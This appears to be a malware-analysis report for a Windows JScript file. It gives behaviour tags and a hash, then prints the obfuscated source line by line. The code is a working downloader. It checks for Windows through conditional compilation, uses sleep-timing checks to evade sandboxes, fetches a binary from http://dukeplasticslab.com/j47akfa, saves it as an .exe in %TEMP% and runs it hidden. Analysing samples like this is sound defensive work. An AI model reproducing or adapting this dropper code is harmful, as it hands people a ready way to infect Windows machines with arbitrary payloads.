20160328_99e9662c9f61450a64a46ef7377210a1.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2561ee7ad5d25f6fb18a6f65d747414bae7485fbca19925a7a1f9100cadc9d0e383
Evidence
1var Yqyrxq = false;
2var Lcdvqxo = "CreateObject";
3var Btgupwjbz = function Hewixsew() {return WScript[Lcdvqxo]("WScript.Shell");}();
4var Odoewtfs = 123213;
5var Ctnbiu = "MSXML2.XMLHTTP";
6var Mbwoknkj = 2123213;
7var Qojia = 0;
8function Ayerx(Lpblari){Btgupwjbz["Run"](Lpblari, Qojia, Qojia);};
9function Vkbvm(){return Ctnbiu;};
10function Jiqdgonwd(Dpjygrf, Shttzmghyu){return Dpjygrf - Shttzmghyu;};
11function Arsylyd(){return Lcdvqxo;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Yqyrxq = true;
15 @end
16@*/
17var Dzzlcmydqq = "";
18if (Yqyrxq)
19{
20function Gnpcvluguc(){return 22;};
21var Izhmehuxr = 0; var Xvzltjy = 0;
22function Sofug()
23{
24var Uodzq = new this["Date"]();
25var Mnptlmomq = Uodzq["getUTCMilliseconds"]();
26WScript["Sleep"](Gnpcvluguc());
27var Uodzq = new this["Date"]();
28var Jdvilwwvsy = Uodzq["getUTCMilliseconds"]();
29WScript["Sleep"](Gnpcvluguc());
30var Uodzq = new this["Date"]();
31var Temjshbrx = Uodzq["getUTCMilliseconds"]();
32var Izhmehuxr = "Odskvppmd";
33Izhmehuxr = Jiqdgonwd(Jdvilwwvsy, Mnptlmomq);
34var Xvzltjy = "Clrpsev";
35Xvzltjy = Jiqdgonwd(Temjshbrx, Jdvilwwvsy);
36Dzzlcmydqq = "open";
37return Jiqdgonwd(Izhmehuxr, Xvzltjy);
38}
39var Klwbbbk = false;
40var Npfqakdmf = false;
41for (var Ynyrsdd = Qojia; Ynyrsdd < Gnpcvluguc() * 1; Ynyrsdd++){if (Sofug() != Qojia){
42Klwbbbk = tr …
49:7… wbbbk && Xdyvfv() && Npfqakdmf){
50function Rrnbbjmnmz() {return Btgupwjbz["ExpandEnvironmentStrings"]("%TEMP%/") + "DTc8AQZX6INbv1.exe";};
51 Suwhbmjsh = Vkbvm();
52 Mpliegsz = WScript[Lcdvqxo](Suwhbmjsh);
53 var Vvpoyuulmi = 1;
54 while (Vvpoyuulmi){
55try {
56Mpliegsz[Dzzlcmydqq]("GET", "http://dukeplasticslab.com/j47akfa", false);
57Mpliegsz["send"]();
58Baxqmm = "Sleep";
59do {WScript[Baxqmm](Gnpcvluguc() * 11)} while (Mpliegsz["readystate"] < 4 );
60Vvpoyuulmi = Qojia;
61} catch(Byzhwfa){Vvpoyuulmi = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Sgwbc(Unycf) {var Mnfmektns = (1, 2, 3, 4, 5, Unycf); return Mnfmektns;};
64Dgrbfxmd = WScript[Arsylyd()]("ADODB.Stream");
65Suwhbmjsh = Dgrbfxmd;
66Suwhbmjsh[Dzzlcmydqq]();
67Suwhbmjsh["type"] = Sgwbc(1);
68Suwhbmjsh["write"](Mpliegsz["ResponseBody"]);
69Dgrbfxmd["position"] = Sgwbc(Qojia);
70Suwhbmjsh["SaveToFile"](Rrnbbjmnmz(), Sgwbc(2) );
71Dgrbfxmd["close"]();
72Ayerx(Rrnbbjmnmz());
73}
74}
75